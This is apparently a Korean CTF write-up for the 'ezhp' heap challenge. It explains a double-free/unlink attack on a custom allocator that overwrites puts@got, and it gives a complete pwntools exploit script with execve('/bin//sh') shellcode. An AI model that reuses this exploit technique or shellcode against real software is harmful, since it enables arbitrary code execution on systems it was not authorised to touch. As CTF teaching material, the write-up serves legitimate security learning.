double free bug문제
보호기법은 아무것도 없다. 쉘코드를 올려서 풀어도 되겠다.
커스텀 add와 커스텀 free이므로 해당 조건에 맞는 상태로 fake chunk를 만들었다.
next chunk를 puts@got-8로 해주었고 이전 청크를 쉘코드가 있는 주소로 넣어주었다.
쉘코드의 맨 앞에는 jump code를 삽입해서 이전 청크가 next chunk의 앞부분에 삽입할 때 익스할 코드로 점프시키도록 했다.
1. 1번메뉴 선택, 사이즈 =10
2. 1번메뉴 선택, 사이즈 = 10
3. 1번메뉴 선택, 사이즈 = 100
4. 3번메뉴 선택, [1]번째 청크에 릭 페이로드 입력, 사이즈 = 20
5. 4번메뉴 선택, [3]번째 청크 주소 릭 성공
4. 3번메뉴 선택, [2]번째 청크에 쉘코드 입력, 사이즈=100
5. 3번메뉴 선택, [0]번째 청크에 페이로드 입력, 사이즈=30
6. 2번메뉴 선택, [1]번째 청크 free 하여 exploit
exploit code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | from pwn import * def add(size): r.recvuntil( "Please choose an option.\n" ) r.sendline( "1" ) r.recvuntil( "Please give me a size.\n" ) r.sendline( str (size)) def change( id , size, data): r.sendline( "3" ) r.sendline( str ( id )) r.sendline( str (size)) r.sendline(data) def leak_chunk( id ): r.sendline( "4" ) r.sendline( str ( id )) r.recvuntil( "AAAAAAAAAAAAAAA\n" ) leaked_chunk = u32(r.recv()[: 4 ]) return leaked_chunk def remove( id ): r.sendline( "2" ) r.sendline( str ( id )) if __name__ = = "__main__" : shellcode = "\xeb\x0c" shellcode + = "\x90" * 30 shellcode + = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" r = process( "./ezhp" ) elf = ELF( "./ezhp" ) puts_got = elf.got[ 'puts' ] add( 10 ) add( 10 ) add( 100 ) payload = "A" * 15 change( 1 , 20 , payload) third_chunk = leak_chunk( 1 ) shell_address = third_chunk - 0x6c log.info( "shellcode address = {}" . format ( hex (shell_address))) change( 2 , 100 , shellcode) payload = "A" * 12 payload + = p32( 0xffffffff ) payload + = p32(puts_got - 8 ) payload + = p32(shell_address) change( 0 , 30 , payload) remove( 1 ) r.interactive() |
'CTF' 카테고리의 다른 글
Defcon 2014 Babyfirst heap (0) | 2018.08.16 |
---|---|
Defcon 2017 smashme (0) | 2018.08.12 |
CodeGate2017 messenger (0) | 2018.08.07 |
RCTF 2015 welpwn (0) | 2018.08.01 |
EasyCTF2017 Simple ROP (0) | 2018.08.01 |